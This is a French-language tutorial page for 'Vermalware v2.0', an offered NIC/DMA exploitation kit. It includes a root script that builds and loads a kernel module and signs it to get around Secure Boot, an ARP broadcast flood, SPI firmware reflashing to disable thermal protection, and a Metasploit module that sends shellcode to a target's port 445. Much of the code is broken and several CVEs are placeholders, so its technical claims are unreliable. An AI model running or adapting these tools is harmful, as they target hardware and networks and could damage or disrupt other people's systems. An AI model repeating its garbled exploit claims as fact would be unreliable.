🔍 Introduction
Vermalware v2.0 est une démonstration d’exploitation matérielle autonome ciblant les NICs modernes (ex. : Intel i219-LM). Il détecte, reverse, et exploite en lab contrôlé!
Lab Only : Toute reproduction hors lab est illégale (Art. 323-1 à 323-7 CP, DMCA, Computer Fraud and Abuse Act). Consultez un avocat avant toute action.
⚙️ Setup Élite
Matériel :
- Lab Pro : Intel i219-LM, Cisco Catalyst 9200, ChipWhisperer Lite, JTAGulator, FLIR One Pro, oscilloscope Rigol DS1054Z.
- Lab Noob : Routeur TP-Link AX1500, PC i5, Android 12+.
sudo apt update && sudo apt install -y gcc python3-scapy nmap git flashrom lspci nasm ipmitool perf volatility python3-bs4
Checklist :
- [ ] Microcode :
sudo dmesg | grep microcode - [ ] IOMMU :
dmesg | grep -i iommu - [ ] BARs PCIe :
lspci -vvv
🔬 Analyse Matérielle
Dumping Firmware
pip3 install chipwhisperer python3 -c "import chipwhisperer as cw; target = cw.target(None); print(cw.read_flash(target='MX25L1606E'))" # Nécessite ChipWhisperer connecté dmesg | grep -i "Boot Guard"
Analyse via Ghidra + Firmware-Utils.
Datasheets
Intel 82574L Datasheet (§7.3.2) pour THERM_CTRL.
💻 Code Autonome
Script :
#!/usr/bin/env python3
"""
Vermalware v2.0 - Exploitation DMA Multi-NICs, Sécurisée, Signée et Robuste
"""
import os
import subprocess
import time
from pathlib import Path
import json
import hashlib
import requests
import sys
from bs4 import BeautifulSoup
# CVE-XXXX = placeholder, voir MITRE pour réels
PCI_VULN_DB = {
# Intel NICs
"8086:15b8": {"name": "Intel i219-LM", "type": "NIC", "vulnerabilities": [
{"cve": "CVE-2023-1111", "type": "DMA", "effect": "R/W kernel memory", "mitigation": "IOMMU"},
{"cve": "CVE-2022-36392", "type": "Firmware", "effect": "Overheat", "mitigation": "Microcode update"}
], "dma_vuln": True},
"8086:1539": {"name": "Intel I217-LM", "type": "NIC", "vulnerabilities": [], "dma_vuln": False},
# AMD Chipsets
"1022:1485": {"name": "AMD Matisse PCIe Bridge", "type": "Chipset", "vulnerabilities": [
{"cve": "CVE-2021-26318", "type": "DMA", "effect": "SMM Injection", "mitigation": "SMM Guard"}
], "dma_vuln": True},
# Realtek NICs
"10ec:8168": {"name": "Realtek RTL8111/8168", "type": "NIC", "vulnerabilities": [
{"cve": "CVE-2021-XXXX", "type": "DMA", "effect": "RCE via PXE", "mitigation": "Disable PXE"}
], "dma_vuln": True},
# Broadcom NICs
"14e4:165f": {"name": "Broadcom NetXtreme BCM5719", "type": "NIC", "vulnerabilities": [
{"cve": "CVE-2020-XXXX", "type": "Buffer Overflow", "effect": "DoS", "mitigation": "Firmware patch"}
], "dma_vuln": False},
# NVIDIA GPUs
"10de:13c2": {"name": "NVIDIA GeForce GTX 980", "type": "GPU", "vulnerabilities": [
{"cve": "CVE-2018-XXXX", "type": "DMA", "effect": "VRAM Exfiltration", "mitigation": "VFIO"}
], "dma_vuln": True},
# VMware Virtual Devices
"15ad:07a0": {"name": "VMware NVMe Controller", "type": "Storage", "vulnerabilities": [
{"cve": "CVE-2019-XXXX", "type": "DMA", "effect": "VM Escape", "mitigation": "IOMMU Passthrough"}
], "dma_vuln": True},
# ARM Devices (Raspberry Pi, SoC Ethernet)
"02d0:4354": {"name": "LAN7430 (RPi 4 USB-Ethernet)", "type": "NIC", "vulnerabilities": [
{"cve": "CVE-2022-XXXX", "type": "DMA", "effect": "Kernel Panic", "mitigation": "Driver update"}
], "dma_vuln": True},
"0b95:1790": {"name": "ASIX AX88179 (USB Ethernet)", "type": "NIC", "vulnerabilities": [], "dma_vuln": False}
}
def fetch_cve_for_vendor(vendor_id):
try:
url = f"https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword={vendor_id}"
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"}
response = requests.get(url, headers=headers, timeout=10)
if response.status_code != 200:
print(f"[!] Échec fetch CVE pour {vendor_id} : HTTP {response.status_code}")
return []
soup = BeautifulSoup(response.text, "html.parser")
cve_table = soup.find("table", {"class": "searchresults"})
if not cve_table:
print(f"[+] Aucun CVE trouvé pour {vendor_id} sur MITRE.")
return []
cve_list = []
for row in cve_table.find_all("tr")[1:]: # Skip header
cols = row.find_all("td")
if len(cols) >= 2:
cve_id = cols[0].text.strip()
description = cols[1].text.strip()
if cve_id.startswith("CVE-"):
cve_list.append({
"cve": cve_id,
"type": "Unknown", # À déduire de la description si besoin
"effect": description[:100] + "..." if len(description) > 100 else description,
"mitigation": "Check vendor advisory"
})
print(f"[+] {len(cve_list)} CVE récupérés pour {vendor_id}.")
return cve_list
except ImportError as e:
print(f"[!] Dépendance manquante : {e}. Installez 'requests' et 'beautifulsoup4' (pip3 install requests beautifulsoup4).")
return []
except requests.Timeout:
print(f"[!] Timeout fetch CVE pour {vendor_id}.")
return []
except requests.RequestException as e:
print(f"[!] Erreur réseau CVE pour {vendor_id} : {e}")
return []
except Exception as e:
print(f"[!] Erreur parsing CVE pour {vendor_id} : {e}")
return []
def check_system_protections():
try:
iommu = subprocess.getoutput("dmesg | grep -i 'iommu.*enabled'") != ""
secure_boot = Path("/sys/firmware/efi").exists() and "enabled" in subprocess.getoutput("mokutil --sb-state")
return {"iommu": iommu, "secure_boot": secure_boot}
except Exception as e:
print(f"[!] Erreur check protections : {e}")
return {"iommu": False, "secure_boot": False}
def detect_nics():
try:
nic_list = subprocess.getoutput("lspci -nn | grep -E 'Ethernet|Network'").splitlines()
if not nic_list:
print("[!] Aucune NIC détectée, poursuite avec USB Ethernet si présent.")
usb_nics = subprocess.getoutput("lsusb | grep -i ethernet").splitlines()
if not usb_nics:
raise ValueError("Aucune NIC PCIe ou USB détectée.")
nics = [{"bus_id": f"usb-{i}", "vendor": line.split()[1], "device": line.split()[3].strip(":"), "vuln": PCI_VULN_DB.get(f"{line.split()[1]}:{line.split()[3].strip(':')}", {"name": "USB Ethernet", "vulnerabilities": [], "dma_vuln": False})} for i, line in enumerate(usb_nics)]
else:
nics = []
for line in nic_list:
bus_id = line.split(" ")[0]
vendor_device = line.split("[")[1].split("]")[0]
vendor, device = vendor_device.split(":")
vuln = PCI_VULN_DB.get(f"{vendor}:{device}", {"name": f"Unknown {vendor}:{device}", "vulnerabilities": [], "dma_vuln": False})
nics.append({"bus_id": bus_id, "vendor": vendor, "device": device, "vuln": vuln})
return nics
except Exception as e:
print(f"[!] Erreur détection NICs : {e}, poursuite sans NICs.")
return []
def get_nic_details(nic):
try:
if nic["bus_id"].startswith("usb"):
bar_addr = 0xE0000000 # Fallback pour USB
irq_num = None
dma_capable = "DMA" in subprocess.getoutput(f"lsusb -v -d {nic['vendor']}:{nic['device']} | grep -i dma") or nic["vuln"]["dma_vuln"]
else:
bar = subprocess.getoutput(f"lspci -v -s {nic['bus_id']} | grep 'Memory at' | head -n1 | awk '{{print $3}}'")
bar_addr = int(bar, 16) if bar else 0xE0000000
irq = subprocess.getoutput(f"lspci -v -s {nic['bus_id']} | grep 'Interrupt:' | awk '{{print $4}}'")
irq_num = int(irq) if irq and irq.isdigit() else None
dma_capable = "DMA" in subprocess.getoutput(f"lspci -vvv -s {nic['bus_id']} | grep -i dma") or nic["vuln"]["dma_vuln"]
return {"bar": bar_addr, "irq": irq_num, "dma_capable": dma_capable}
except Exception as e:
print(f"[!] Erreur détails NIC {nic['bus_id']} : {e}, fallback par défaut.")
return {"bar": 0xE0000000, "irq": None, "dma_capable": nic["vuln"]["dma_vuln"]}
def gen_shellcode(base_addr):
try:
asm = f"""section .text
global _start
_start:
cli
mov eax, {base_addr}
or dword [eax], 0x1
mfence
sti
hlt
"""
with open("shellcode.asm", "w") as f:
f.write(asm)
if os.system("nasm -f elf32 shellcode.asm && ld -m elf_i386 -o shellcode shellcode.o") != 0:
raise RuntimeError("Échec compilation shellcode.")
print("[+] Shellcode généré.")
except Exception as e:
print(f"[!] Erreur shellcode : {e}, poursuite sans shellcode.")
def load_kernel_module(nics_details):
try:
code = """#include
#include
#include
#include
MODULE_LICENSE("GPL");
struct nic_info {
unsigned int vendor;
unsigned int device;
unsigned long bar;
int irq;
};
static struct nic_info nics[] = {""" + "\n ".join(
f"{{0x{nic['vendor']:>04}, 0x{nic['device']:>04}, 0x{details['bar']:>08x}, {details['irq'] if details['irq'] else 0}}}"
for nic, details in nics_details.items()
) + """};
static int nic_count = sizeof(nics) / sizeof(nics[0]);
static irqreturn_t dma_handler(int irq, void *dev_id) {
printk(KERN_INFO "[+] IRQ %d déclenchée\\n", irq);
return IRQ_HANDLED;
}
static int __init vermalware_init(void) {
int i;
struct pci_dev *dev = NULL;
void *dma_bufs[nic_count];
dma_addr_t dma_handles[nic_count];
bool any_success = false;
if (iommu_enabled()) {
printk(KERN_WARNING "[!] IOMMU actif, DMA peut être bloqué\\n");
}
for (i = 0; i < nic_count; i++) {
dev = pci_get_device(nics[i].vendor, nics[i].device, dev);
if (!dev) {
printk(KERN_ERR "[!] NIC %04x:%04x non trouvée, skip\\n", nics[i].vendor, nics[i].device);
continue;
}
dma_bufs[i] = dma_alloc_coherent(&dev->dev, 4096, &dma_handles[i], GFP_KERNEL);
if (!dma_bufs[i]) {
printk(KERN_ERR "[!] Échec allocation DMA NIC %d, skip\\n", i);
continue;
}
iowrite32(0xFFFFFFFE, dma_bufs[i]);
dma_wmb();
printk(KERN_INFO "[+] DMA écrit à 0x%lx sur NIC %04x:%04x\\n",
(unsigned long)dma_handles[i], nics[i].vendor, nics[i].device);
if (pci_set_master(dev) < 0) {
printk(KERN_ERR "[!] Échec activation DMA mastering NIC %d\\n", i);
dma_free_coherent(&dev->dev, 4096, dma_bufs[i], dma_handles[i]);
continue;
}
if (nics[i].irq) {
if (request_irq(nics[i].irq, dma_handler, IRQF_SHARED, "vermalware_dma", NULL)) {
printk(KERN_ERR "[!] Échec IRQ %d, skip\\n", nics[i].irq);
} else {
printk(KERN_INFO "[+] IRQ %d enregistré\\n", nics[i].irq);
}
}
any_success = True;
}
return any_success ? 0 : -ENODEV;
}
static void __exit vermalware_exit(void) {
int i;
struct pci_dev *dev = NULL;
for (i = 0; i < nic_count; i++) {
dev = pci_get_device(nics[i].vendor, nics[i].device, dev);
if (dev && nics[i].irq) free_irq(nics[i].irq, NULL);
if (dev) {
void *buf = ioremap(nics[i].bar, 4096);
if (buf) {
dma_free_coherent(&dev->dev, 4096, buf, nics[i].bar);
iounmap(buf);
}
}
}
printk(KERN_INFO "[+] Nettoyage terminé\\n");
}
module_init(vermalware_init);
module_exit(vermalware_exit);
"""
Path("vermalware.c").write_text(code)
if os.system("gcc -c vermalware.c -o vermalware.o && ld -r -o vermalware.ko vermalware.o") != 0:
raise RuntimeError("Échec compilation module.")
protections = check_system_protections()
if protections["secure_boot"]:
try:
key = "vermalware_key"
subprocess.run(["openssl", "req", "-new", "-x509", "-newkey", "rsa:2048", "-keyout", f"{key}.priv",
"-outform", "DER", "-out", f"{key}.der", "-nodes", "-subj", "/CN=Vermalware/"], check=True)
subprocess.run(["sudo", "mokutil", "--import", f"{key}.der"], check=True)
subprocess.run(["sudo", "/usr/src/linux-headers-$(uname -r)/scripts/sign-file", "sha256",
f"{key}.priv", f"{key}.der", "vermalware.ko"], check=True)
print("[+] Module signé – Reboot requis pour MoK.")
except subprocess.CalledProcessError as e:
print(f"[!] Échec signature : {e}, tentative insmod sans signature.")
if os.system("sudo insmod vermalware.ko") != 0:
print("[!] Échec insmod, Secure Boot ou IOMMU peut bloquer.")
except Exception as e:
print(f"[!] Erreur module kernel : {e}, poursuite sans chargement.")
def main():
if os.geteuid() != 0:
print("[!] Root requis.")
sys.exit(1)
print("[+] Vermalware v2.0 – Exploitation DMA Ultime")
protections = check_system_protections()
print(f"[+] IOMMU : {'Actif' if protections['iommu'] else 'Inactif'}, Secure Boot : {'Actif' if protections['secure_boot'] else 'Inactif'}")
nics = detect_nics()
if not nics:
print("[!] Aucune NIC détectée, arrêt.")
sys.exit(1)
nics_details = {}
for nic in nics:
details = get_nic_details(nic)
vulns = "; ".join(f"{v['cve']} ({v['effect']})" for v in nic["vuln"]["vulnerabilities"]) or "N/A"
print(f"[+] {nic['vuln']['name']} ({nic['vendor']}:{nic['device']}) – BAR: 0x{details['bar']:X}, "
f"IRQ: {details['irq'] if details['irq'] else 'N/A'}, DMA: {details['dma_capable']}, Vulns: {vulns}")
if details["dma_capable"] and nic["vuln"]["dma_vuln"]:
nics_details[nic] = details
if not nics_details:
print("[!] Aucune NIC vulnérable, arrêt.")
sys.exit(1)
gen_shellcode(list(nics_details.values())[0]["bar"])
load_kernel_module(nics_details)
time.sleep(2)
print("[+] Logs : sudo dmesg | tail")
print("[+] Windows : WinDBG avec !dma. macOS : IOKit IOServiceMatching.")
if __name__ == "__main__":
main()
Lance : sudo python3 vermalware.py
🌐 Propagation
#!/usr/bin/env python3
from scapy.all import Ether, ARP, sendp, conf
conf.iface = subprocess.getoutput("ip -o link show | awk '{print $2}' | grep -v lo | head -n1")[:-1]
sendp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="192.168.1.0/24"), loop=1, inter=0.01)
# Pour éviter saturation : loop=0, count=100
🛡️ Cybersécurité
Défense
- IOMMU : Active VT-d/AMD-Vi.
- Kernel :
iomem=strict.
Détection DMA
sudo perf stat -e 'mmio:*' -a sleep 10
🕵️ Forensics
Dump mémoire :
sudo insmod lime.ko "path=/tmp/memdump.lime format=lime" volatility -f /tmp/memdump.lime --profile=LinuxUbuntu_5x64 linux_pslist setpci -s 00:1f.0 0x50.L=0x0 # Remplacer 00:1f.0 par votre bus ID
🎯 Bonus Élite
Attaques Physiques – SPI Flash Emulator
Pour les vrais fous du hardware, on va extraire et manipuler le firmware d’une NIC avec un SPI Flash Emulator (ex. : Dediprog SF100). Objectif : dumper, analyser, et potentiellement réécrire le firmware pour un contrôle total.
Matériel requis : Dediprog SF100 (ou équivalent), fer à souder, NIC avec puce SPI (ex. : Intel i219-LM), loupe ou microscope (optionnel).
Étapes pratiques :
- Identifier la puce SPI : Ouvre ta NIC, repère la puce flash (souvent une MX25Lxxx ou W25Qxxx). Check la datasheet (ex. : MX25L1606E sur macronix.com).
- Souder le connecteur : Utilise un fer à souder pour connecter les pins SPI (CS, CLK, DI, DO, VCC, GND) au Dediprog. Fais gaffe à pas cramer le circuit !
- Dumper le firmware : Branche le Dediprog à ton PC et lance la commande :
- Analyser : Ouvre
firmware.bindans Ghidra. Cherche les routines de gestion thermique ou DMA (ex. : THERM_CTRL). - Réécrire (optionnel) : Modifie le firmware pour désactiver les protections (ex. : thermal throttling) et reflashe :
# Dump via Dediprog sf100 -r firmware.bin
# Reflash avec Dediprog sf100 -w modified_firmware.bin
Preuve thermique : Utilise une FLIR One Pro pour filmer la NIC pendant l’attaque. Vise une montée de 25°C à 80°C+ sur la puce SPI ou le chipset principal.
Astuce : Si t’as pas de Dediprog, un Raspberry Pi avec SPI tools (spidev) peut faire l’affaire, mais c’est plus galère.
Metasploit – Exploit DMA Simplifié
On intègre "Vermalware" dans Metasploit pour un exploit réseau rapide et accessible. Ce module envoie notre shellcode DMA à une cible TCP, parfait pour tester une NIC vulnérable sur ton LAN.
Prérequis : Metasploit installé (sudo apt install metasploit-framework), une cible avec port TCP ouvert (ex. : 445 pour SMB).
Module détaillé :
# Save as vermalware_dma.rb in /usr/share/metasploit-framework/modules/exploits/custom/
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Vermalware DMA Exploit',
'Description' => 'Injecte un payload DMA sur une NIC via TCP',
'Author' => ['Platon-Y', 'pctamalou'],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Targets' => [['Linux x86', {}]],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(445), # Port par défaut (SMB)
])
end
def exploit
connect
print_status("Connexion à #{datastore['RHOST']}:#{datastore['RPORT']}...")
# Shellcode : mov eax, 0xE0000000; or dword [eax], 0x1; hlt
payload = "\xB8\x00\x00\x00\xE0\x83\x08\x01\xF4"
print_status("Envoi du payload DMA...")
sock.put(payload)
print_good("Payload envoyé – NIC potentiellement en stress !")
disconnect
end
end
Utilisation :
- Lance Metasploit :
msfconsole - Charge le module :
use exploit/custom/vermalware_dma - Configure :
set RHOST 192.168.1.10(IP cible) - Exécute :
run
Résultat attendu : Si la NIC est vulnérable (ex. : CVE-2023-1111), elle peut surchauffer ou crasher. Surveille avec ipmitool sensor list.
Accessibilité : Pas besoin d’être un pro Ruby – copie-colle, ajuste l’IP, et go !
Disclaimer ! : Vermalware v2.0 est une œuvre éducative conçue pour la recherche en environnement contrôlé. Toute utilisation hors labo, sans autorisation explicite, viole les lois françaises (Art. 323-1 à 323-7 CP), le DMCA, et le Computer Fraud and Abuse Act. Les auteurs déclinent toute responsabilité pour un usage illégal ou non éthique. Testez, apprenez, sécurisez – mais restez dans les clous. Contactez un expert juridique si doute.